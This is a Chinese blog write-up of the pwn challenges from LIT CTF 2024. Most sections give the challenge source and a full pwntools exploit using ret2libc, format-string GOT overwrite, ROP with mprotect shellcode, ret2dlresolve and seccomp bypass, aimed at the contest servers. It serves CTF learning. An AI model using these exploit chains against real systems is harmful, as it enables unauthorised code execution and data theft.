LIT - CTF - PWN部分题解

前言

LIT 2024

Hi everyone,

We have some updates about Standard Round.

Due to unforeseen circumstances, we will be delaying the Standard Round by a week (contest window will be open from Aug 16-20). We want to provide high quality problems for our contestants, and the extra time will allow us to finish preparing and testing the problems and the platform. CTF will still be running at the original planned time, and we hope you will enjoy the challenges we have written this year!

目录

前言

LIT 2024

pwn/Function Pairing

pwn/Infinite Echo

pwn/recurse

pwn/w4dup 2de 

 pwn/iloveseccomp

pwn/How to Raise a Boring Vuln Flat


pwn/Function Pairing

I love how functions in C are named! We have: - open and close - fopen and fclose - read and write - fread and fwrite - gets and puts - fgets and fputs Connect with nc litctf.org 31774

第一个gets有栈溢出。再利用puts函数泄露出来libc之后ret2libc。

def exp(): 
    main = 0x401196
    fgets_got = elf.got['fgets']
    puts_plt = elf.plt["puts"]
    pop_rdi = 0x401293
    ret = 0x40101a
    ru("1. gets/puts\n")
    pl = b'a'*0x108 + p64(pop_rdi) + p64(fgets_got) + p64(puts_plt)+ p64(main)
    sl(pl)
    ru("2. fgets/fputs")
    sl("a")
    # pause()
    ru("a\n")
    fgets = u68()
    lg("fgets",fgets)

    libc_base = fgets - 0x7f380
    system = libc_base + 0x50d70
    sh = libc_base + 0x1d8678

    lg("libc_base",libc_base)
    ru("1. gets/puts\n")
    pl = b'a'*0x108 + p64(pop_rdi) + p64(sh) + p64(ret) + p64(system)
    sl(pl)
    # pause()
    ru("2. fgets/fputs")
    sl("a")

exp()


io.interactive()

pwn/Infinite Echo

You got this! Connect with nc litctf.org 31772.

#include <stdio.h>
#include <unistd.h>

int main() {
	setbuf(stdout, 0x0);
	setbuf(stderr, 0x0);
	
	char buf[256];
	
	printf("Infinite Echo!\n");
	while (1 == 1) {
		buf[read(0, buf, 256) - 1] = 0;
		printf(buf);
		printf("\n");
	}
}

给了c源码,可以看到明显的格式化字符串漏洞。

检查保护,可以修改got表

因为是在栈上的,分别泄露出libc_base和基地址base,之后把printf_got表部署到栈上,来进行修改。也可以利用fmtstr_payload进行修改,offset = 6。

def exp(): 

    ru("Infinite Echo!\n")
    sl("%34$p-%37$p-")
    ru("-")
    libc_base = int(io.recv(14), 16) - 0x1f12e8
    lg("libc_base",libc_base)
    ru("-")
    base = int(io.recv(14), 16)-0x10e0
    lg("base",base)

    system = libc_base + libc.sym["system"]
    printf_got = elf.got["printf"] + base
    lg("printf_got",printf_got)
    lg("system",system)
   
    pl = cyclic(0x30) + p64(printf_got) + p64(printf_got+2)
    ru('\n')
    s(pl)

    s1 = (system)&0xffff
    s2 = (system>>16)&0xff
    lg("s1",s1)
    lg("s2",s2)
    pl = f"%c%c%c%c%c%c%c%c%c%c%c%{s2-11}c%hhn"
    pl = pl.ljust((1+len(pl)//8)*8,'\x00') 
    ru('\n')
    sl(pl.encode())

    pl = f"%c%c%c%c%c%c%c%c%c%c%{(s1-10)}c%hn"
    pl = pl.ljust((2+len(pl)//8)*8,'\x00') 
    ru('\n')
    sl(pl.encode())

    ru('\n')
    sl("/bin/sh\x00") 
exp()

io.interactive()

但我不知道为什么每次遇到这种题目,本地调试每次改总是不成功吧。反正很奇怪。我当时比赛的时候打通了,现在不知道怎么得就是没通,也是很搞笑了。如果有师傅知道为什么可以评论告诉我,谢谢师傅。

pwn/recurse

I hate loops.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>

int get(char* buf, int n) {
    fflush(stdout);
    if (fgets(buf, n, stdin) == NULL) {
        puts("Error");
        exit(1);
    }
    int end = strcspn(buf, "\n");
    if (buf[end] == '\0') {
        puts("Too long");
        exit(1);
    }
    buf[end] = '\0';
    return end;
}

int main(void) {
    fputs("Filename? ", stdout);
    char fname[10];
    int fn = get(fname, sizeof(fname));
    for (int i = 0; i < fn; ++i) {
        char c = fname[i];
        if (('a' <= c && c <= 'z') || c == '.') {
            continue;
        }
        puts("Only a-z and .");
        return 1;
    }
    if (strstr(fname, "flag.txt") != NULL) {
        printf("Nice try!");
        return 1;
    }
    FILE* file = fopen(fname, "a+b");

    fputs("Read (R) or Write (W)? ", stdout);
    char option[3];
    get(option, sizeof(option));

    switch (option[0]) {
        case 'R': {
            char contents[25];
            int n = fread(contents, 1, sizeof(contents), file);
            fputs("Contents: ", stdout);
            fwrite(contents, 1, n, stdout);
            puts("");
            break;
        }
        case 'W': {
            fputs("Contents? ", stdout);
            char contents[25];
            int n = get(contents, sizeof(contents));
            fwrite(contents, 1, n, file);
            break;
        }
        default: {
            puts("Invalid");
            return 1;
        }
    }

    fclose(file);
    fflush(stdout);

    int ret = system("gcc main.c -o main");
    if (!WIFEXITED(ret) || WEXITSTATUS(ret)) {
        puts("Compilation failed");
        return 1;
    }
    execl("main", "main", NULL);
}

想法就是什么可以在main之前执行呢? 那就是头文件,预处理、编译、汇编、链接。

pwn/w4dup 2de 

这题有意思,一次输入。有沙盒,

哪个后面关于fd的,分析一下大致就是read只能标准输入(fd=0)。 

看了看保护,既然可以任意写(因为rsi寄存器可以控制),那就改got表为write输出泄露libc,之后在给bss段权限来执行shellcode(openat,sendfile) 

elf = ELF("./main")
shellcode = asm(shellcraft.amd64.open("flag.txt",0)+shellcraft.amd64.sendfile(1,3,0,0x100))
libc = ELF("/home/da1sy/environment/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6")
context.log_level = "error"
rdi_ret = 0x00000000004013d3
rsi_r15_ret = 0x00000000004013d1
rbp_ret = 0x000000000040117d
leave_ret = 0x000000000040132d
bss = 0x404800

def exp():
    pl = b"A"*0x28
    pl += flat([rdi_ret,0,rsi_r15_ret,elf.got['seccomp_init'],0,elf.plt['read']])
    pl += flat([rdi_ret,1,rsi_r15_ret,elf.got['read'],0,elf.plt['seccomp_init']])
    pl += flat([rdi_ret,0,rsi_r15_ret,bss,0,elf.plt['read'],rbp_ret,bss-8,leave_ret])
    sl(pl)
    s(p16(0x71d0))
    read = u64(io.recvuntil(b"\x7f",timeout=4)[-6:]+b"\x00\x00")
    libc_base = read - libc.sym['read']
    print("libc_base:",hex(libc_base))
    rsi_ret = libc_base + 0x000000000002601f
    rdx_ret = libc_base + 0x00000000000dfc12
    pl2 = flat([rdi_ret,bss&(~0xfff),rsi_ret,0x1000,rdx_ret,7,libc_base+libc.sym['mprotect']])
    pl2 += p64(bss+0x50)*3
    pl2 += shellcode
    sl(pl2)

while True:
    try:
        print("-",end="")
        # io = process("./pwn")
        io = remote("litctf.org",31771)
        exp()
        io.interactive()
    except KeyboardInterrupt:
        exit(0) 
    except:
        io.close()
        continue

 有一位学长给我的ret2dlresolve,感谢学长,tql !!! 

from pwn import *

context.arch = "amd64"
context.log_level = 'debug'

elf = ELF("./main")
libc = ELF("./libc-2.31.so")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)
lrop = ROP(libc)
p = remote("litctf.org", 31771)

baseStage = elf.bss() + 0x800 # + 8

def csu(rbx, rbp, r12, r13, r14, r15, ret, frbp):
    return p64(0x4013CA) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + \
    p64(0x4013B0) + p64(0)*2 + p64(frbp) + p64(0)*4 + p64(ret)

# stack pvioting
payload = b"a"*0x20 + p64(baseStage - 8) + csu(0,1, 0, baseStage, 0x400, elf.got['read'], rop.leave.address, baseStage - 8)
p.send(payload)

# dlresolve to leak
rel = elf.get_section_by_name(".rela.plt").header.sh_addr
dynstr = elf.get_section_by_name(".dynstr").header.sh_addr
dynsym = elf.get_section_by_name(".dynsym").header.sh_addr
log.info(f"rela.plt : {hex(rel)}")
log.info(f"dynstr : {hex(dynstr)}")
log.info(f"dynsym : {hex(dynsym)}")

fakeStrAddr = baseStage + 0xb0
fakeStr = b"puts\x00".ljust(16, b"\x00")

fakeSymAddr = fakeStrAddr + len(fakeStr)
fakeSym = (p64(fakeStrAddr - dynstr) + b"\x12").ljust(0x18, b"\x00") # + b"p"*16
assert (fakeSymAddr - dynsym) % 0x18 == 0, (fakeSymAddr - dynsym) % 0x18
symOffset = (fakeSymAddr - dynsym) // 0x18

fakeRelaAddr = fakeSymAddr + len(fakeSym)
fakeRela = p64(elf.got['seccomp_init']) + p64((symOffset << 32) + 7) + p64(0)
assert (fakeRelaAddr - rel) % 0x18 == 0, (fakeRelaAddr - rel) % 0x18

dlresolve = fakeStr + fakeSym +  fakeRela
baseStage = elf.bss() + 0xc00 # this for the second stack pvioting, or the read data will destory the return frame
control = p64(rop.rdi.address) + p64(elf.got['read']) + p64(0x401020) + p64((fakeRelaAddr - rel) // 0x18) + \
        csu(0,1, 0, baseStage, 0x400, elf.got['read'], rop.leave.address, baseStage - 8)
control = control.ljust(0xb0, b"\x00")
payload = control + dlresolve

pause()
p.send(payload)

# read = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
read = u64(p.recvline(keepends=False)[-6:].ljust(8, b"\x00"))
base = read - libc.sym['read']
log.info(f"read : {hex(read)}")
log.info(f"base : {hex(base)}")

# open and sendfile
# 0xdfece : pop rcx ; pop rbx ; ret # notice this is in the local libc which version is 2.39
# 0x10257e : pop rcx ; pop rbx ; ret
payload = p64(rop.rdi.address) + p64(baseStage + 136) + p64(base + lrop.rsi.address) + p64(0) + p64(base + libc.sym['open']) +\
        p64(rop.rdi.address) + p64(1) + p64(base + lrop.rsi.address) + p64(3) + p64(base + lrop.rdx.address) + p64(0) + p64(0) +\
        p64(base + 0x10257e) + p64(0x40) + p64(0) + p64(base + libc.sym['sendfile']) + p64(base + libc.sym['exit']) + b"flag.txt\x00"
# the lrop.rdx.address is point to : 0x119431 which is pop rdx ; pop r12 ; ret. my bad :( , i think it will only the pop rdx, ret.

pause()
p.send(payload)

p.interactive()
 pwn/iloveseccomp

这题用了一个python脚本来交互。逻辑是先会生产一个key文件,里面存8个随机字节。然后启动程序8次,而且会打印出程序退出的状态码,运行完8次之后问你key文件内容是什么。看起来是要通过main程序泄露数据。 

#!/usr/bin/env python3
from os import urandom
import pwn
from time import sleep

def init():
	key = urandom(8)
	with open("key.txt", "wb") as f:
		f.write(key)
	return key

def prog():
	r = pwn.process("./main")
	sleep(0.5)
	print(r.recvS())

	try:
		payload = bytes.fromhex(input())
	except:
		print("my guy")
		exit(0)
	r.sendline(payload)
	sleep(0.5)
	print(f"Process exited with code {r.poll()}")

def check(key):
	userKey = bytes.fromhex(input("Okay... WHAT IS THE KEY (in hex) "))
	if userKey == key:
		print("Lucky guess...")
		with open("flag.txt", "r") as f:
			print(f.read())
	else:
		print("nope")

if __name__ == '__main__':
	print("***The program will run eight times***\n")
	key = init()
	for _ in range(8):
		prog()
	check(key)

查看保护

首先读了8个字节的随机数据, 然后将这个值&0xFFFFFFFF000LL,并将其存入randAddr这个变量里,这个变量在bss段。然后用这个值作为段基址,mmap这个key文件到内存,也就是randAddr指向的地址里存放着key的内容。然后存在一个栈溢出,并开启seccomp。 

查看seccomp里面的内容,只允许执行ext

exit的状态码其实是自己填的(状态码返回在rdi寄存器里面),所以可以通过这个来泄露,但是exit只能泄露出最低字节,所以我们一共有8字节需要泄露就需要8次,刚好与题目对应上了。由于seccomp的存在,没法泄露数据,所以只能从一路打gadget没法打syscall(exit调用除外)或者其他的orw一类需要用到read,write,open等系统调用的链。好就好在这,可以锻炼手动写rop chain的能力。

为了泄露数据,我们要能知道程序的pie,libc他已经给了所以我们是知道libc的基址。那么libc中的gadget都可以用。

寄存器中其实保留了部分程序的信息,例如rbx中存在了__libc_csu_init的地址,那我们就可以得到pie的基址,然后再加上randAddr的偏移,对其解引用就可以得到randAddr的具体值,也就可以得到key的内容,最后将其转移到rdi再调用syscall进行泄露即可。第一次写这种题目,下次做题遇到这种没见过的题目一定要有耐心!!

def exp(): 
    
	key = b""

	for i in range(8):
		ru("Sympathy leak:")
		libc_base = int(r(15),16) -0x110cc0
		lg("libc_base",libc_base)
		
		MOV_RAX_RBX = p64(0x000000000008d883+libc.address)*4
		SUB_RAX_RDI = p64(0x00000000000b1d58+libc.address)
		ADD_RAX_RDI = p64(0x00000000000a8978+libc.address)
		POP_RDI = p64(0x0000000000023b6a+libc.address)
		DEREF_RAX = p64(0x00000000001411fc+libc.address) 
		XCHG_EDI_EAX = p64(0x00000000000f1b65+libc.address)

		pl = b"A"*0x38 + MOV_RAX_RBX + POP_RDI + p64(2**64 - 11256) + SUB_RAX_RDI
		pl += DEREF_RAX + POP_RDI + p64(i) + ADD_RAX_RDI + DEREF_RAX + XCHG_EDI_EAX + p64(libc.sym.exit)
		sl(pl)
		io.recvuntil(b"Process exited with code ")
		n = int(io.recvline(False))
		key += n.to_bytes(1,'litte')
	
	lg("key",key)
	sl(key.hex().encode())
	
exp()

io.interactive()
pwn/How to Raise a Boring Vuln Flat

有点变形的那种house of roman,没怎么做过先留着吧。以后等变强了再来看看。 

def exp(): 
    sl(b"5")

    pl = bits_str(u32(b"%157")).encode() + b" "
    pl += bits_str(u32(b"$s\0\0")).encode() + b" "
    pl += bits_str(u32(b"$s\0\0")).encode() + b" "
    pl += bits_str(u32(b"%186")).encode() + b" "
    pl += bits_str(u32(b"$10c")).encode() + b" "
    # pause()
    sl(pl)

    sl(b"-7")
    stdout = p64(0xfbad1887) + p64(0)*3
    pl = b"A"*7 + b"\x20\x01"

    sl(b"A")
    # pause()
    sl(pl)
    sl(stdout)
    sl(stdout)
    sl(stdout)

    ru(b"\xe0")
    libc.address = u64(b"\xe0"+r(7)) - libc.sym._IO_2_1_stdin_
    lg("libc_base",libc.address)

    sl(b"2")
    
    pl = bits_str(u32(b"%158")).encode() +b" "
    pl += bits_str(u32(b"$s\0\0")).encode() + b" "
    # pause()
    sl(pl)
    sl(b"-7")

    rop = ROP(libc)
    pl = b"A"*8 + p64(rop.rdi.address) + p64(libc.binsh()) + p64(rop.ret.address) + p64(libc.sym.system)
    pause()
    sl(pl)

exp()


io.interactive()

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值